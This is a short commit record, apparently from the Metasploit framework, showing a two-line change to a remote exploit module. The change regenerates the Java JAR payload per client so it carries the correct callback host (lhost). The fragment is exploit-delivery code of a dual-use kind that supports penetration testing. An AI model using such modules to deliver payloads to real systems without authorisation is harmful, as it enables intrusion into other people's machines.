regenerate the payload so we get the correct *lhost*

git-svn-id: file:///home/svn/framework3/trunk@10490 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-09-27 00:09:17 +00:00
parent 4fbb0653a1
commit 8c1f0713db
1 changed files with 2 additions and 1 deletions

View File

@ -85,7 +85,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ "payload.ser" ],
]
jar = payload.encoded_jar
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"